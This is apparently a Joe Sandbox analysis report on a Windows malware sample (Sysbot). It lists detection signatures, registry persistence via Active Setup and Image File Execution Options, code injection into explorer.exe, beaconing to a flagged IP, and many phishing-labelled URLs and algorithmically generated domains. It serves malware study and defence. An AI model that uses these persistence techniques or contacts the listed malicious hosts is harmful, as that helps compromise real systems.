Edit tour

Windows Analysis Report
Ey6iI0wxsf.exe

Overview

General Information

Sample name:	Ey6iI0wxsf.exe renamed because original name is a hash value
Original sample name:	Virus.Sysbot.ATA_virussign.com_dc293b8fd57a89ba2122cfd49de8d111.exe
Analysis ID:	1506032
MD5:	dc293b8fd57a89ba2122cfd49de8d111
SHA1:	73190f2380a2123b89b86a9d5eb73a97b3452de8
SHA256:	b343754808e82533910ae2a26337f38342f642b988100fc6eb445135df3c2315
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Creates a Image File Execution Options (IFEO) Debugger entry

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Tries to resolve many domain names, but no domain seems valid

Writes to foreign memory regions

Changes image file execution options

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Executes massive DNS lookups (> 100)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Sigma detected: Common Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Ey6iI0wxsf.exe (PID: 5496 cmdline: "C:\Users\user\Desktop\Ey6iI0wxsf.exe" MD5: DC293B8FD57A89BA2122CFD49DE8D111)

onbeateax-oded.exe (PID: 6404 cmdline: "C:\Windows\system32\onbeateax-oded.exe" MD5: DC293B8FD57A89BA2122CFD49DE8D111)

onbeateax-oded.exe (PID: 6592 cmdline: --k33p MD5: DC293B8FD57A89BA2122CFD49DE8D111)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Sigma Signatures

Sigma detected: Common Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name): Data: Details: a, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\onbeateax-oded.exe, ProcessId: 6404, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837}\01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: a, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\onbeateax-oded.exe, ProcessId: 6404, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 07 2A 24 EA 29 01 DB 01 F4 D8 AB 33 00 00 00 00 31 00 , EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\onbeateax-oded.exe, ProcessId: 6404, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy\Default Flags

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T15:29:10.832637+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49701	172.234.222.143	80	TCP
2024-09-07T15:29:17.284142+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49704	172.234.222.143	80	TCP
2024-09-07T15:29:20.354062+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49707	172.234.222.143	80	TCP
2024-09-07T15:29:22.031878+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49710	172.234.222.143	80	TCP
2024-09-07T15:29:24.844694+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49718	172.234.222.143	80	TCP
2024-09-07T15:29:26.925667+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49721	172.234.222.143	80	TCP
2024-09-07T15:29:28.511040+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49724	172.234.222.143	80	TCP
2024-09-07T15:29:30.742534+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49727	172.234.222.143	80	TCP
2024-09-07T15:29:34.404628+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49730	172.234.222.143	80	TCP
2024-09-07T15:29:37.454087+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49733	172.234.222.143	80	TCP
2024-09-07T15:29:38.610701+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49736	172.234.222.143	80	TCP
2024-09-07T15:29:40.383415+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49739	172.234.222.143	80	TCP
2024-09-07T15:29:42.192704+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49742	172.234.222.143	80	TCP
2024-09-07T15:29:43.883781+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49745	172.234.222.143	80	TCP
2024-09-07T15:29:45.041380+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49748	172.234.222.143	80	TCP
2024-09-07T15:29:50.635626+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49751	172.234.222.143	80	TCP
2024-09-07T15:29:51.876287+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49754	172.234.222.143	80	TCP
2024-09-07T15:29:53.199747+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49757	172.234.222.143	80	TCP
2024-09-07T15:30:03.402974+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49761	172.234.222.143	80	TCP
2024-09-07T15:30:04.675044+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49764	172.234.222.143	80	TCP
2024-09-07T15:30:12.676667+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49767	172.234.222.143	80	TCP
2024-09-07T15:30:14.657891+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49770	172.234.222.143	80	TCP
2024-09-07T15:30:17.961100+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49773	172.234.222.143	80	TCP
2024-09-07T15:30:19.107301+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49776	172.234.222.143	80	TCP
2024-09-07T15:30:21.163670+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49779	172.234.222.143	80	TCP
2024-09-07T15:30:24.295245+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49782	172.234.222.143	80	TCP
2024-09-07T15:30:26.051715+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49785	172.234.222.143	80	TCP
2024-09-07T15:30:27.197385+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49788	172.234.222.143	80	TCP
2024-09-07T15:30:28.551463+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49791	172.234.222.143	80	TCP
2024-09-07T15:30:31.905813+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49794	172.234.222.143	80	TCP
2024-09-07T15:30:33.101422+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49797	172.234.222.143	80	TCP
2024-09-07T15:30:37.573802+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55212	172.234.222.143	80	TCP
2024-09-07T15:30:38.763861+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55215	172.234.222.143	80	TCP
2024-09-07T15:30:40.072754+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55218	172.234.222.143	80	TCP
2024-09-07T15:30:43.887073+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55221	172.234.222.143	80	TCP
2024-09-07T15:30:48.279957+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55224	172.234.222.143	80	TCP
2024-09-07T15:30:52.353582+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55227	172.234.222.143	80	TCP
2024-09-07T15:31:00.416747+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55230	172.234.222.143	80	TCP
2024-09-07T15:31:03.891818+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55233	172.234.222.143	80	TCP
2024-09-07T15:31:05.121939+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55236	172.234.222.143	80	TCP
2024-09-07T15:31:06.269829+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55239	172.234.222.143	80	TCP
2024-09-07T15:31:07.942941+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55242	172.234.222.143	80	TCP
2024-09-07T15:31:11.652955+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55245	172.234.222.143	80	TCP
2024-09-07T15:31:14.101847+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55248	172.234.222.143	80	TCP
2024-09-07T15:31:16.197942+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55251	172.234.222.143	80	TCP
2024-09-07T15:31:17.329085+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55254	172.234.222.143	80	TCP
2024-09-07T15:31:18.681843+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55257	172.234.222.143	80	TCP
2024-09-07T15:31:20.387699+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55260	172.234.222.143	80	TCP
2024-09-07T15:31:22.223857+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55263	172.234.222.143	80	TCP
2024-09-07T15:31:25.806279+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55266	172.234.222.143	80	TCP
2024-09-07T15:31:34.025332+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	55269	172.234.222.143	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Ey6iI0wxsf.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://utbidet-ugeas.biz/d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033BPf	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\unruhix-udex.dll	Avira: detection malicious, Label: TR/Dldr.Agent.apd.18
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Windows\SysWOW64\eapdotet.dll	Avira: detection malicious, Label: TR/Dldr.Agent.apd.17
Source: C:\Windows\SysWOW64\orfoakup.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Windows\SysWOW64\egfehex.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Users\user\AppData\Roaming\tmpE8BD.tmp	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E

Multi AV Scanner detection for domain / URL

Source: http://utbidet-ugeas.biz/d/cc

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\unruhix-udex.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\eapdotet.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: Ey6iI0wxsf.exe	ReversingLabs: Detection: 86%
Source: Ey6iI0wxsf.exe	Virustotal: Detection: 89%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\orfoakup.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\egfehex.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Ey6iI0wxsf.exe

Joe Sandbox ML: detected

Source: Ey6iI0wxsf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: gyqyabu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fgiqigmfk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qkakiocybnc.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqjeuad.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bioewwy.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqcigofggthzn.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amuyqogtwaf.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ydeuwpkoggpc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ysuyeyy.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gcwol.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqnipalnjir.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qriusvwcqkuwa.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tvxadcy.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sodefbuwgjt.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vvzmawoi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wgcwrceyw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kpows.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qgqjhok.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bwpfaipoy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ccfoy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmctuyc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sgykkmj.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vcwagpvps.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gsmwwianqmf.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kdeumql.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqwmabvue.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yzzuzcswg.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yjakakyfs.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: skvramqimqumui.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kaagdfi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmeejgbxekmg.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmqhowr.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gyysmc.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lhzyzzuuilgab.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cubekocaqqqhmy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmcokfbkk.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqqhbcoxcyqsw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owccrcwq.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmoeeqwgo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gzwaqywdlnsr.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kigyaiv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: emkiycugaumouu.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jarceuu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spueu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: icootdf.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cqpowqxlcjy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: efmkaemaoto.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zrazytuksyynx.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vduxgekeesug.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kkicwls.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hsynq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cyeqglsou.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: geyosiiktmh.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kbiyk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hsvwkprrgt.pw replaycode: Name error (3)
